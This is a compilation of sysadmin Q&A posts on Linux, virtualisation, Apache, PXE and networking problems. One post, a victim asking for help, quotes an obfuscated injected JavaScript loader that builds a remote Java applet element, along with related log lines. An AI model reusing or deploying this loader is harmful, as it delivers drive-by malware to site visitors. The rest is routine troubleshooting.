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  • KVM slow guest i/o

    - by Akarot
    Host: Debian 6.0 (squeeze) with qemu-kvm and libvirt from squeeze-backports ii qemu-kvm 1.0+dfsg-8~bpo60+1 ii libvirt-bin 0.9.8-2~bpo60+2 Has 3TB sata drives with software raid and lvm. It has a sequential write speed of ~140MB/s measured with dd bs=1M count=512 if=/dev/zero of=test conv=fdatasync Elevator set to cfq Guest Debian 6.0 (squeeze) Uses LVM as storage. Drivers are virtio and cache='none' Sequential write speed is considerably slower with only 25-50MB/s Elevator set to noop I'm kind of running out of ideas for further tweaks but I'm sure that I/O speed should be much faster because many people are reporting almost native performance with lvm.

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  • Free space not reclaimed after online resizing ext4 in Ubuntu 9.10

    - by TiansHUo
    My root partition was filling up, with only 500 mbs left, I wanted to resize my root partition from 20 Gb to 40Gb So I resized my partition by using these steps: Using Gparted to resize another partition to give space for the EXT4 Using fdisk, deleting the root partition (on /dev/sda2), and creating it again using the new size resize2fs /dev/sda2 Updating grub2 But now the problem is that although I can boot in my new partition and the new partition shows it is 40Gb, but the free size was still 500mb. So I booted from a LiveCD and checked with e2fsck -p /dev/sda2, it reported clean. So I added the -f flag (force check), still, the drive is full.

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  • How to permanently add wireless interfaces with iw

    - by walli
    How can I permanently add virtual wireless interfaces to my network configuration with iw? I created the following interfaces: iw phy phy0 interface add vwlan0 type station iw phy phy0 interface add vwlan1 type __ap The first is configured as a wifi client connecting to an existing network (wpa_supplicant) The second is configured as wireless hotspot (hostapd + dnsmasq) The setup works, but now I can't quite figure out what the best strategy is to save this configuration permanently. Have made an init script for wpa_supplicant Have made an init script for the hotspot Virtual adaptor network settings set in /etc/network/interfaces But all this depends on the wireless interfaces being created. What would be the best way to make sure these interfaces are created before the network is set up and the services are run? As a bonus, since this wireless interface is a usb device, would it be possible to have the interfaces created (and the services started) when the interface is hotplugged? I know you can execute code after a network interface is up, but the wlan0 interface that is hotplugged should never be up. Operating system is raspbian

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  • Malware Cross Site Scriptinig attack / XSS Attack?

    - by user124176
    I have been hit by an Cross Site Scripting / XSS / RFI Attack, where I cant find it anywhere in the source of the files and Hashes on files have not been changed according to OSSEC HIDS that I run real time monitoring on all webdirs. The Attack happens on IE9 Only it and appends java script code like beneath, notice that it starts after /html tag closes normally. : scXXpt language="javascXXpt"var enuwjo = function(gqumas, yhxxju, zbkpilf, xzzvhld){var xew = function(iso) {var crh, eaq, i; var owb=""; crh = iso.length; for (i = 0; i < crh; ++i) {eaq = iso.charCodeAt(i)-2;owb = owb + String.fromCharCode(eaq);} return(owb); } var janlq=document.createElement(xew("crrngv"));janlq.setAttribute(xew("eqfg"), xew(gqumas));janlq.setAttribute(xew("ctejkxg"), xew("jvvr<11"+yhxxju));janlq.setAttribute(xew("ykfvj"), "1");janlq.setAttribute(xew("jgkijv"), "1");var lgtwyi=document.createElement(xew("rctco"));lgtwyi.setAttribute(xew("pcog"),xew(zbkpilf));lgtwyi.setAttribute(xew("xcnwg"),xew(xzzvhld));janlq.appendChild(lgtwyi);document.body.appendChild(janlq); } ; enuwjo("vxfgwtogg0dcrcmnwe0encuu","g{g0o{yge{0kp129;5","mlit{ttmdttponfhrrexihpe","fh;ccfe:85:5d9872;2;f569276h5268ff9;34:25;7d:8:7h8c68777;;822c73"); No code has been changed on file as far as my HIDS says ... but I can see in my Error log, the following... File does not exist: /var/www/vhosts/superkids.dk/ggtest/tvdeurmee In the Access log, the following IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc.class HTTP/1.1" 404 504 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04" IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc/class.class HTTP/1.1" 404 509 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04" Now... the folder or path /tvdeurmee/bapakluc/ does not exist on the server in question, nor does the Java Class class.class, yet it still looks like an local call to the server and it was getting an "404 File not found / 504 Gateway Timeout" (attack was blocked by local machine, hence the timeout / not found) Any idea on how to prevent the attack ? Im working on using HTML Purifier, but that might not be the correct idea it seems, according to some replies im getting on their forum :) Kind regards, Steven

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  • How to log the actual output in apache?

    - by Oscar Rodriguez
    I am doing LAMP development for a mobile platform. However, the client browser does not allow me to view the source code of visited pages. I consider the source code to be of huge importance for debugging, so I would like to configure my web server so every time a user makes a request, in addition to sending the client a response, that response (the actual contents of the returned page) is also stored in a file with a filename I can cross-relate with access_log (maybe ip-timestamp-filename? or maybe a unique ID in an additional column in access_log?). I've searched quite a bit, but haven't even gotten close to finding what I'm looking for. Has anybody been able to do this?

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  • Bridging Virtual Networking into Real LAN on a OpenNebula Cluster

    - by user101012
    I'm running Open Nebula with 1 Cluster Controller and 3 Nodes. I registered the nodes at the front-end controller and I can start an Ubuntu virtual machine on one of the nodes. However from my network I cannot ping the virtual machine. I am not quite sure if I have set up the virtual machine correctly. The Nodes all have a br0 interfaces which is bridged with eth0. The IP Address is in the 192.168.1.x range. The Template file I used for the vmnet is: NAME = "VM LAN" TYPE = RANGED BRIDGE = br0 # Replace br0 with the bridge interface from the cluster nodes NETWORK_ADDRESS = 192.168.1.128 # Replace with corresponding IP address NETWORK_SIZE = 126 NETMASK = 255.255.255.0 GATEWAY = 192.168.1.1 NS = 192.168.1.1 However, I cannot reach any of the virtual machines even though sunstone says that the virtual machine is running and onevm list also states that the vm is running. It might be helpful to know that we are using KVM as a hypervisor and I am not quite sure if the virbr0 interface which was automatically created when installing KVM might be a problem.

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  • Fedora 10 setting up HPLIP for HP Deskjet F4488

    - by Shyam
    I had set up a newly purchased HP F4488 using HPLIP, I installed it on my Fedora 10 desktop and it worked fine for the past 2 days. Suddenly, it is failing to print. The scanner works and the photocopier works. When a print job is initialized there is an error and the printer gets disabled. What is the problem? Is there anything that I should fix additionally to make it work?

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  • Apache2 benchmarks - very poor performance

    - by andrzejp
    I have two servers on which I test the configuration of apache2. The first server: 4GB of RAM, AMD Athlon (tm) 64 X2 Dual Core Processor 5600 + Apache 2.2.3, mod_php, mpm prefork: Settings: Timeout 100 KeepAlive On MaxKeepAliveRequests 150 KeepAliveTimeout 4 <IfModule Mpm_prefork_module> StartServers 7 MinSpareServers 15 MaxSpareServers 30 MaxClients 250 MaxRequestsPerChild 2000 </ IfModule> Compiled in modules: core.c mod_log_config.c mod_logio.c prefork.c http_core.c mod_so.c Second server: 8GB of RAM, Intel (R) Core (TM) i7 CPU [email protected] Apache 2.2.9, **fcgid, mpm worker, suexec** PHP scripts are running via fcgi-wrapper Settings: Timeout 100 KeepAlive On MaxKeepAliveRequests 100 KeepAliveTimeout 4 <IfModule Mpm_worker_module> StartServers 10 MaxClients 200 MinSpareThreads 25 MaxSpareThreads 75 ThreadsPerChild 25 MaxRequestsPerChild 1000 </ IfModule> Compiled in modules: core.c mod_log_config.c mod_logio.c worker.c http_core.c mod_so.c The following test results, which are very strange! New server (dynamic content - php via fcgid+suexec): Server Software: Apache/2.2.9 Server Hostname: XXXXXXXX Server Port: 80 Document Path: XXXXXXX Document Length: 179512 bytes Concurrency Level: 10 Time taken for tests: 0.26276 seconds Complete requests: 1000 Failed requests: 0 Total transferred: 179935000 bytes HTML transferred: 179512000 bytes Requests per second: 38.06 Transfer rate: 6847.88 kb/s received Connnection Times (ms) min avg max Connect: 2 4 54 Processing: 161 257 449 Total: 163 261 503 Old server (dynamic content - mod_php): Server Software: Apache/2.2.3 Server Hostname: XXXXXX Server Port: 80 Document Path: XXXXXX Document Length: 187537 bytes Concurrency Level: 10 Time taken for tests: 173.073 seconds Complete requests: 1000 Failed requests: 22 (Connect: 0, Length: 22, Exceptions: 0) Total transferred: 188003372 bytes HTML transferred: 187546372 bytes Requests per second: 5777.91 Transfer rate: 1086267.40 kb/s received Connnection Times (ms) min avg max Connect: 3 3 28 Processing: 298 1724 26615 Total: 301 1727 26643 Old server: Static content (jpg file) Server Software: Apache/2.2.3 Server Hostname: xxxxxxxxx Server Port: 80 Document Path: /images/top2.gif Document Length: 40486 bytes Concurrency Level: 100 Time taken for tests: 3.558 seconds Complete requests: 1000 Failed requests: 0 Write errors: 0 Total transferred: 40864400 bytes HTML transferred: 40557482 bytes Requests per second: 281.09 [#/sec] (mean) Time per request: 355.753 [ms] (mean) Time per request: 3.558 [ms] (mean, across all concurrent requests) Transfer rate: 11217.51 [Kbytes/sec] received Connection Times (ms) min mean[+/-sd] median max Connect: 3 11 4.5 12 23 Processing: 40 329 61.4 339 1009 Waiting: 6 282 55.2 293 737 Total: 43 340 63.0 351 1020 New server - static content (jpg file) Server Software: Apache/2.2.9 Server Hostname: XXXXX Server Port: 80 Document Path: /images/top2.gif Document Length: 40486 bytes Concurrency Level: 100 Time taken for tests: 3.571531 seconds Complete requests: 1000 Failed requests: 0 Write errors: 0 Total transferred: 41282792 bytes HTML transferred: 41030080 bytes Requests per second: 279.99 [#/sec] (mean) Time per request: 357.153 [ms] (mean) Time per request: 3.572 [ms] (mean, across all concurrent requests) Transfer rate: 11287.88 [Kbytes/sec] received Connection Times (ms) min mean[+/-sd] median max Connect: 2 63 24.8 66 119 Processing: 124 278 31.8 282 391 Waiting: 3 70 28.5 66 164 Total: 126 341 35.9 350 443 I noticed that in the apache error.log is a lot of entries: [notice] mod_fcgid: call /www/XXXXX/public_html/forum/index.php with wrapper /www/php-fcgi-scripts/XXXXXX/php-fcgi-starter What I have omitted, or do not understand? Such a difference in requests per second? Is it possible? What could be the cause?

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  • mailman web UI on localhost with apache2

    - by Thufir
    I'm interested only in running mailman on localhost and would like access to the web interface, but am getting 404: root@dur:~# root@dur:~# ln -s /etc/mailman/apache.conf /etc/apache2/sites-enabled/mailman -v `/etc/apache2/sites-enabled/mailman' -> `/etc/mailman/apache.conf' root@dur:~# root@dur:~# service apache2 restart * Restarting web server apache2 ... waiting . [ OK ] root@dur:~# root@dur:~# curl http://localhost/mailman/admin/ <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /mailman/admin/ was not found on this server.</p> <hr> <address>Apache/2.2.22 (Ubuntu) Server at localhost Port 80</address> </body></html> root@dur:~# root@dur:~# tail /var/log/apache2/error.log [Mon Aug 27 13:08:02 2012] [error] [client 127.0.0.1] File does not exist: /var/www/mailman [Mon Aug 27 13:10:16 2012] [error] [client 127.0.0.1] File does not exist: /var/www/mailman [Mon Aug 27 13:29:27 2012] [notice] caught SIGTERM, shutting down [Mon Aug 27 13:29:27 2012] [error] python_init: Python version mismatch, expected '2.7.2+', found '2.7.3'. [Mon Aug 27 13:29:27 2012] [error] python_init: Python executable found '/usr/bin/python'. [Mon Aug 27 13:29:27 2012] [error] python_init: Python path being used '/usr/lib/python2.7/:/usr/lib/python2.7/plat-linux2:/usr/lib/python2.7/lib-tk:/usr/lib/python2.7/lib-old:/usr/lib/python2.7/lib-dynload'. [Mon Aug 27 13:29:27 2012] [notice] mod_python: Creating 8 session mutexes based on 6 max processes and 25 max threads. [Mon Aug 27 13:29:27 2012] [notice] mod_python: using mutex_directory /tmp [Mon Aug 27 13:29:28 2012] [notice] Apache/2.2.22 (Ubuntu) mod_python/3.3.1 Python/2.7.3 mod_ruby/1.2.6 Ruby/1.8.7(2011-06-30) configured -- resuming normal operations [Mon Aug 27 13:29:58 2012] [error] [client 127.0.0.1] File does not exist: /var/www/mailman root@dur:~# Although I did have to tinker a bit with mailmain to get that recognized. While I don't need to setup web access using MM list passwords, I would like to setup web admin to add/remove mailing lists. How do I configure apache or mailman so that I can navigate to http://localhost/mailman/admin/? As per installing mailman, I setup aliases as so: root@dur:~# root@dur:~# cat /etc/aliases usenet: root ## mailman mailing list mailman: "|/var/lib/mailman/mail/mailman post mailman" mailman-admin: "|/var/lib/mailman/mail/mailman admin mailman" mailman-bounces: "|/var/lib/mailman/mail/mailman bounces mailman" mailman-confirm: "|/var/lib/mailman/mail/mailman confirm mailman" mailman-join: "|/var/lib/mailman/mail/mailman join mailman" mailman-leave: "|/var/lib/mailman/mail/mailman leave mailman" mailman-owner: "|/var/lib/mailman/mail/mailman owner mailman" mailman-request: "|/var/lib/mailman/mail/mailman request mailman" mailman-subscribe: "|/var/lib/mailman/mail/mailman subscribe mailman" mailman-unsubscribe: "|/var/lib/mailman/mail/mailman unsubscribe mailman" root@dur:~# Perhaps these can be used somehow?

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  • Debootstrapping karmic powerpc arch results in error?

    - by FLX
    I'm trying to retrieve the powerpc arch of Karmic Koala with the following command: sudo debootstrap --arch powerpc karmic /home/xbmc/karmic http://archive.ubuntulinux.org/ubuntu However, I get the following error: E: No such script: /usr/share/debootstrap/scripts/karmic I used the debootstrap from the official repo: debootstrap --version debootstrap 1.0.12 Can anyone help me?

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  • Problem with PXE boot

    - by user70523
    Hi, I followed the following link for PXE boot, http://www.howtoforge.com/setting-up-a-pxe-install-server-on-ubuntu-9.10-p3 and I was able to ping the client from the server and also when I booted up the client It is getting the IP address from the server. But later,I got this error PXELinux 3.82 2009-06-09 . . . [other informations] !PXE Entry point found (we hope) at 9D3B:0109 via plan A UNDI code segment at 9D3B len 16C2 UNDI data segment at 933B len A000 Getting cached packet 01 02 03 . . . [other informations] TFTP prefix: Trying to load: pxelinux.cfg/ec5db4c0-74fe-d511-b9e7-3d9235afe5a1 Trying to load: pxelinux.cfg/01-00-17-31-b6-5e-a8 Trying to load: pxelinux.cfg/0A64491E Trying to load: pxelinux.cfg/0A64491 Trying to load: pxelinux.cfg/0A6449 Trying to load: pxelinux.cfg/0A644 Trying to load: pxelinux.cfg/0A64 Trying to load: pxelinux.cfg/0A6 Trying to load: pxelinux.cfg/0A Trying to load: pxelinux.cfg/0 Trying to load: pxelinux.cfg/default Unable to locate configuration file Boot failed: press a key to retry or wait for reset I have put all the files mentioned in the link in tftpboot. Can anyone explain what could be the problem. Thanks in advance

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  • MaxStartups and MaxSessions configurations parameter for ssh connections?

    - by Webby
    I am copying the files from machineB and machineC into machineA as I am running my below shell script on machineA. If the files is not there in machineB then it should be there in machineC for sure so I will try copying the files from machineB first, if it is not there in machineB then I will try copying the same files from machineC. I am copying the files in parallel using GNU Parallel library and it is working fine. Currently I am copying 10 files in parallel. Below is my shell script which I have - #!/bin/bash export PRIMARY=/test01/primary export SECONDARY=/test02/secondary readonly FILERS_LOCATION=(machineB machineC) export FILERS_LOCATION_1=${FILERS_LOCATION[0]} export FILERS_LOCATION_2=${FILERS_LOCATION[1]} PRIMARY_PARTITION=(550 274 2 546 278) # this will have more file numbers SECONDARY_PARTITION=(1643 1103 1372 1096 1369 1568) # this will have more file numbers export dir3=/testing/snapshot/20140103 find "$PRIMARY" -mindepth 1 -delete find "$SECONDARY" -mindepth 1 -delete do_Copy() { el=$1 PRIMSEC=$2 scp david@$FILERS_LOCATION_1:$dir3/new_weekly_2014_"$el"_200003_5.data $PRIMSEC/. || scp david@$FILERS_LOCATION_2:$dir3/new_weekly_2014_"$el"_200003_5.data $PRIMSEC/. } export -f do_Copy parallel --retries 10 -j 10 do_Copy {} $PRIMARY ::: "${PRIMARY_PARTITION[@]}" & parallel --retries 10 -j 10 do_Copy {} $SECONDARY ::: "${SECONDARY_PARTITION[@]}" & wait echo "All files copied." Problem Statement:- With the above script at some point I am getting this exception - ssh_exchange_identification: Connection closed by remote host ssh_exchange_identification: Connection closed by remote host ssh_exchange_identification: Connection closed by remote host And I guess the error is typically caused by too many ssh/scp starting at the same time. That leads me to believe /etc/ssh/sshd_config:MaxStartups and MaxSessions is set too low. But my question is on which server it is pretty low? machineB and machineC or machineA? And on what machines I need to increase the number? On machineA this is what I can find - root@machineA:/home/david# grep MaxStartups /etc/ssh/sshd_config #MaxStartups 10:30:60 root@machineA:/home/david# grep MaxSessions /etc/ssh/sshd_config And on machineB and machineC this is what I can find - [root@machineB ~]$ grep MaxStartups /etc/ssh/sshd_config #MaxStartups 10 [root@machineB ~]$ grep MaxSessions /etc/ssh/sshd_config #MaxSessions 10

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  • OpenWrt logging: how to find out "wifi deauthentication"

    - by user62367
    If someone starts to use the wifi, i can see that with logread: Jan 23 21:04:47 router daemon.info hostapd: wlan0: STA XX:XX:XX:XX:XX:XX IEEE 802.11: authenticated But how can i see, that he/she's disconnecting? Theres no "bla-bla deauthenticated bla" line in logread, or even a thing that points to that someone get's disconnected.. I tried to google: http://wiki.openwrt.org/doc/uci/system But it doesn't writes about loglevel. Can anyone help me find out, how to find out that someone disconnects it's wifi from the router? The logread doesn't even writes a line when someone disconnects. Please help!! It's important! Thank you!:\

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  • PXE Boot Fedora 17 Error

    - by DrifterDave
    When trying to boot into the latest Fedora 17 cd via PXE, I am presented with the following error: PXE dracut: fatal: no or empty root= argument So, I added a root= line to my fedora menu entry (shown below), but receive the following error: dracut Warning: Unable to process initqueue Any assistance would be greatly appreciated. Fedora.menu LABEL 1 MENU LABEL fedora 17 (32-bit) KERNEL fedora/17/i386/vmlinuz0 APPEND method=nfs:192.168.1.101:/srv/install/fedora/17/i386/ lang=us keymap=us ip=dhcp ksdevice=eth1 noipv6 root=/dev/ram0 initrd=fedora/17/i386/initrd0.img ramdisk_size=10000 TEXT HELP Install Fedora 17 (32-bit) ENDTEXT

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  • Command to execute another command while replaying the command on STDOUT

    - by hakre
    It's not easy to formulate the question properly, maybe it helps when I describe what I'd like to do. I want to execute a command and pipe it's output into a tool called pastebinit which uploads the STDOUT output to pastebin. That works very well, however I would like to send the command itself on top of it but w/o typing it a second time. Is there some command I can launch "my command" with that will Print "my command" on STDOUT Executes "my command" I have the feeling that something like that exists but as hard as it is to formulate such a question properly, I was not able to dig it up with google so far.

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  • How to disable "sender non-delivery notification" in postfix?

    - by David MZ
    I want postfix to stop sending non-delivery notifications to my local account, here is example from my log 17:47:08 A727B62C6F61: message-id=<20121124174708.A727B62C6F61@mail.***********> 17:47:08 F151362C6F5F: sender non-delivery notification: A727B62C6F61 17:47:08 A727B62C6F61: from=<>, size=4676, nrcpt=1 (queue active) 17:47:08 F151362C6F5F: removed 17:47:08 warning: dict_nis_init: NIS domain name not set - NIS lookups disabled 17:47:08 A727B62C6F61: to=<**********>, relay=local, delay=0.01, delays=0/0.01/0/0, ... How can I configure this in my main.cf?

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  • Apache error with suEXEC only

    - by michaelc
    When I enable suEXEC by following the tutorial here, I am able to get PHP to run over Apache in cgi mode, but when I start trying to use suEXEC I get a 403, and the following error appears in the error log "client denied by server configuration". The suEXEC log is empty. How can I get this working? My ultimate goal is to run fastcgi with suexec, and this error has stopped me at every turn. The relevant portion of httpd.conf: ScriptAlias /php5-cgi /usr/bin/php-cgi Action php5-cgi /php5-cgi AddHandler php5-cgi .php <Directory /usr/bin> Order allow,deny Allow from all </Directory> <VirtualHost *:80> ServerName skylords.com ServerAlias www.skylords.com en.skylords.com lt.skylords.com nl.skylords.com DocumentRoot /srv/http/htdocs SuexecUserGroup skylords skylords AddHandler php5-cgi .php ScriptAlias /php5-cgi /var/http/htdocs/cgi-bin/php-cgi ErrorDocument 404 /srv/http/htdocs ErrorLog /srv/http/logs/apache_error.log <Directory "/srv/http/htdocs"> AllowOverride All Order allow,deny Allow from all Options Indexes +FollowSymLinks +ExecCGI </Directory> </VirtualHost>

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  • Monit won't restart process

    - by bresc
    I just don't get it. monit behaves very strangely... check process thin with pidfile /var/run/thin.4567.pid start program = "/srv/Pusher/server start" stop program = "/srv/Pusher/server stop" if failed host 127.0.0.1 port 4567 protocol http then restart group server this is the process that should be restarted. So I tested monit and stopped the process. But it is showing only this: Process 'thin' status Does not exist monitoring status monitored data collected Wed Mar 24 01:18:55 2010 when I run "monit validate" it starts the service. Am I missing something? Thx

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  • Error headers: ap_headers_output_filter() after putting cache header in htaccess file

    - by Brad
    Receiving error: [debug] mod_headers.c(663): headers: ap_headers_output_filter() after I included this within the htaccess file: # 6 DAYS <FilesMatch "\.(ico|pdf|flv|jpg|jpeg|png|gif|js|css|swf)$"> Header set Cache-Control "max-age=518400, public" </FilesMatch> # 2 DAYS <FilesMatch "\.(xml|txt)$"> Header set Cache-Control "max-age=172800, public, must-revalidate" </FilesMatch> # 2 HOURS <FilesMatch "\.(html|htm)$"> Header set Cache-Control "max-age=7200, must-revalidate" </FilesMatch> Any help is appreciated as to what I could do to fix this?

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  • What are the pitfalls of hardlinked files on my desktop PC?

    - by MountainX
    All the identical-content files on my PC are now hardlinked. (My data is completely de-duplicated. It is a consequence of the way I copied my data from my old computer.) What pitfalls do I need to be aware of now that certain actions on one file could silently affect a number of other files? I know that deleting the file I'm working on is not a problem (assuming I deleted it on purpose). It doesn't affect any of the other hardlinked files and I don't see that the delete action would lead to unexpected side effects. Moving or renaming the file is not a problem. I don't see any unexpected consequences. I don't think copying hardlinked files is a problem, but I'm not as confident about any unexpected consequences in this regard. What I have seen is that making a copy (to the same disk) of a hardlinked file with cp keeps the copy hardlinked (i.e., inode number doesn't change in the copy). Copying to another filesystem obviously breaks the hardlink. (I guess one pitfall is forgetting this fact, given that my PC has 3 hard disks.) Changing permissions does affect all linked files. So far this has proven handy. (I made a large number of the hardlinked files read-only.) None of the operations above seem to produce any major unexpected consequences. However, as was pointed out to me by Daniel Beck in a comment, editing or modifying a file can sometimes be a problem. It depends on the tool and maybe the type of edit. (For example, editing small text files using sed seems to always break the link while using nano doesn't.) This introduces the chance that editing one file could affect all the hardlinked files (i.e., alter the original inode). My proposed solution to this is to make all hardlinked files read-only (and that is already mostly the case). If I can't do that for some files, I will unlink those particular files. Is there any problem with this read-only approach? I'm assuming that if I go to edit a file and find it to be read-only, I'll remember to unlink that filename while making it writable. So one pitfall might be forgetting this rule. In that case, I'll have to rely on my backups. Am I correct in the above statements? And what else do I need to know? BTW, I'm running Kubuntu 12.04. I'm also using btrfs. (I have 2 SSD's and 1 HDD in the PC. I will also be adding an external USB HDD. I'm also connected to a network and I mount some NFS shares. I don't assume any of these last bits are relevant to the question, but I'm adding them just in case.) BTW, since I have more than one drive (with separate file systems), to unlink any file all I have to do is copy it to another drive, then move it back. However, using sed also works (in my testing). Here's my script: sed -i 's/\(.\)/\1/' file1 Surprisingly, this even unlinks zero byte files. In my testing it also appears to work on non-text files without any special options. (But I understand that the --binary option might be needed on Windows, MS-DOS and Cygwin.) However, copying to another disk and moving back may be the best way to unlink. For my use-case, unlink command doesn't really "unlink", rather it "removes".

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  • Unable to run openoffice in headless mode

    - by uswaretech
    I want to automoate some PPT - PDF conversions, so I want to run openoffice in headless mode for scripting. On my machine with X running I can start opemoffice in headless mode via soffice -accept="socket,port=8100;urp;" -headless This doesn't seem to work on a server with X not running. $ soffice -accept="socket,port=8100;urp;" -headless /usr/lib/openoffice/program/soffice.bin X11 error: Can't open display: Set DISPLAY environment variable, use -display option or check permissions of your X-Server (See "man X" resp. "man xhost" for details) $ The error doesnt seem to make sense as well, as the point of specifying -headless was so that I do not need X, while this command seems to look for X.

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  • Configure IPv6 routing

    - by godlark
    I've got IPv6 addresses from SIXXS. My host is connected with SIXXS network over a AICCU tunnel ("sixxs" interface). My host address is 2001:::2, the host on the end has address 2001:::1. On my host IPv6 is fully accessible. I have problem with configuring IPv6 network on VMs. I use VirtualBox, the VM (Ubuntu) uses tap1 (on the host bridged by br0) #!/bin/sh PATH=/sbin:/usr/bin:/bin:/usr/bin:/usr/sbin # create a tap tunctl -t tap1 ip link set up dev tap1 # create the bridge brctl addbr br0 brctl addif br0 tap1 # set the IP address and routing ip link set up dev br0 ip -6 route del 2001:6a0:200:172::/64 dev sixxs ip -6 route add 2001:6a0:200:172::1 dev sixxs ip -6 addr add 2001:6a0:200:172::2/64 dev br0 ip -6 route add 2001:6a0:200:172::2/64 dev br0 Host: routing table: 2001:6a0:200:172::1 dev sixxs metric 1024 2001:6a0:200:172::/64 dev br0 proto kernel metric 256 2001:6a0:200:172::/64 dev br0 metric 1024 2000::/3 dev sixxs metric 1024 fe80::/64 dev eth0 proto kernel metric 256 fe80::/64 dev sixxs proto kernel metric 256 fe80::/64 dev br0 proto kernel metric 256 fe80::/64 dev tap1 proto kernel metric 256 default via 2001:6a0:200:172::1 dev sixxs metric 1024 Guest: interface eth1 (it is connected with tap1): auto eth1 iface eth1 inet6 static address 2001:6a0:200:172::3 netmask 64 gateway 2001:6a0:200:172::2 Guest: routing table 2001:6a0:200:172::/64 dev eth1 proto kernel metric 256 fe80::/64 dev eth0 proto kernel metric 256 fe80::/64 dev eth1 proto kernel metric 256 default via 2001:6a0:200:172::2 dev eth1 metric 1024 The guest pings to the host, the host pings to the guest, the host pings to 2001:6a0:200:172::1, but the guest doesn't ping to 2001:6a0:200:172::1. The guest tries to ping, on the host (by tcdump) I can capture its packets, but the host doesn't send them to 2001:6a0:200:172::1. What have I missed in configuration?

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  • SATA drives or chipset throwing DRDY ERR and ICRC ABRT

    - by Matt
    I have an SD-VIA-1A2S PCI card with 2 sata ports (and one ATA-133 that isn't used). Two new Western Digital Caviar Green drives (WD10EARS 1TB) throw repeated errors in kern.log (removed date/time/host info for brevity): [ 7.376475] ata2.00: exception Emask 0x12 SAct 0x0 SErr 0x1000500 action 0x6 [ 7.376480] ata2.00: BMDMA stat 0x5 [ 7.376483] ata2: SError: { UnrecovData Proto TrStaTrns } [ 7.376489] ata2.00: cmd c8/00:40:20:00:00/00:00:00:00:00/e0 tag 0 dma 32768 in [ 7.376490] res 51/84:2f:20:00:00/00:00:00:00:00/e0 Emask 0x12 (ATA bus error) [ 7.376493] ata2.00: status: { DRDY ERR } [ 7.376495] ata2.00: error: { ICRC ABRT } [ 7.376504] ata2: hard resetting link I'm using Ubuntu 9.04 - 2.6.28-18-generic, though I have tried live cds of Ubuntu 9.10, Fedora 12 and OpenSUSE 11.2 - all running various 2.6.31 kernels - and all received the same error. Based on testing these drives and this card in two other machines and combos of connecting the drives directly to the motherboard or the add-in card, I'm relatively convinced that it's the VIA chipset that is the problem. Another computer that also has an onboard VIA SATA chipset (like the add-in card) produces the same errors when the drives are directly on that motherboard. I have been able to verify that the drives are perfectly good, and I tried everything I can think of in terms of swapping cables, psu isn't overloaded, etc. The error happens on boot once or twice, after using fdisk on the drive once or twice, and constantly when attempting to sync a new mdadm raid 1 array created on the two drives. Any thoughts on where to go from here - driver/kernel wise? I'm completely open to buying a new PCI add-in card if someone can recommend one with 2 internal sata ports that works well in Debian/Ubuntu. Thanks!

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  • Why doesn't pppd over ssh work here? Why can't I kill pppd?

    - by Peter V. Mørch
    I'm trying to setup a simple ppp tunnel over ssh. It works on several machines just fine. But on one machine, pppd gets "stuck": > pgrep pppd | xargs ps up USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 4178 0.0 0.1 3020 1088 pts/1 Ds+ 05:28 0:00 /usr/sbin/pppd Any attempt to kill it (even sudo kill -9 4178) has no effect that I can see. strace -p 4178 also hangs similarly. After it has been started for a while, I start getting messages in dmesg like shown below. It is started like so from another machine: ssh -t root@server /usr/sbin/pppd passive noauth When I do this to one of the machines that work, the remote end's pppd spits out garbage/binary data to the console (as expected). When I do it to the one that fails, I get no output from pppd, but the ssh session eventually times out. If I instead ssh to the machine, and then run /usr/sbin/pppd passive noauth in a separate step I also get the expected binary output. I now have a couple of questions: What could be up with the one machine where pppd fails? I don't even know where to start looking... What could be the difference between ssh -t root@server /usr/sbin/pppd passive noauth in a single step and ssh root@server and /usr/sbin/pppd passive noauth in two steps? How can it be that I can't kill the process even with sudo kill -9? The only way I know is to reboot. (I've tried searching for something similar but didn't get anywhere so I'm sorry I don't have any more leads) Any ideas? The problem machine runs in debian on VMware "hardware" (as do the ones that work) and it exhibits the problem when cloned and on both debian lenny (original) and squeeze (after upgrade) dmesg entries: [ 1198.727248] INFO: task pppd:4178 blocked for more than 120 seconds. [ 1198.727507] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 1198.727904] pppd D ece2dc9c 0 4178 4174 0x00000004 [ 1198.727908] 00000098 00000082 f2503520 ece2dc9c 0000b1e7 00000000 c148d1c0 c148d1c0 [ 1198.727913] f2a06100 f6e071c0 00000000 ece2dc18 f5cd07e0 00000000 ece2d400 ece2dc9d [ 1198.727918] 00c52300 ece2dcbc f67bfef8 ec98e480 f291cec0 00000000 c10cf5b0 c10dfd21 [ 1198.727923] Call Trace: [ 1198.727926] [<c10cf5b0>] ? nameidata_to_filp+0x37/0x41 [ 1198.727929] [<c10dfd21>] ? dput+0x21/0xb7 [ 1198.727932] [<c11cfecc>] ? tty_ldisc_ref_wait+0x5f/0x76 [ 1198.727935] [<c104de7a>] ? wake_up_bit+0x5c/0x5c [ 1198.727938] [<c11cb91b>] ? tty_ioctl+0x85f/0x8ba [ 1198.727941] [<c10fec18>] ? do_lock_file_wait+0x3d/0xd9 [ 1198.727944] [<c1162c97>] ? _copy_from_user+0x2b/0x102 [ 1198.727946] [<c11cb0bc>] ? tty_check_change+0xb9/0xb9 [ 1198.727949] [<c10dbeb7>] ? do_vfs_ioctl+0x485/0x4c7 [ 1198.727952] [<c10db59a>] ? do_fcntl+0x24f/0x3a2 [ 1198.727954] [<c10dbf3a>] ? sys_ioctl+0x41/0x58 [ 1198.727957] [<c12c6a1f>] ? sysenter_do_call+0x12/0x28 [ 1318.457225] INFO: task sshd:4174 blocked for more than 120 seconds. [ 1318.457500] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. [ 1318.457896] sshd D f25024cc 0 4174 2393 0x00000000 [ 1318.457901] 00000098 00000086 f2a06940 f25024cc 0000b246 00000000 c148d1c0 c148d1c0 [ 1318.457906] f2503520 f6e071c0 00000000 3f056585 0000000f ece2d4bc 3f056585 f2503520 [ 1318.457911] ec98bb38 ec98bbdc 00000000 00000000 00000000 c12c09b5 f2503520 c10327cb [ 1318.457916] Call Trace: [ 1318.457926] [<c12c09b5>] ? schedule_hrtimeout_range_clock+0x3c/0xd9 [ 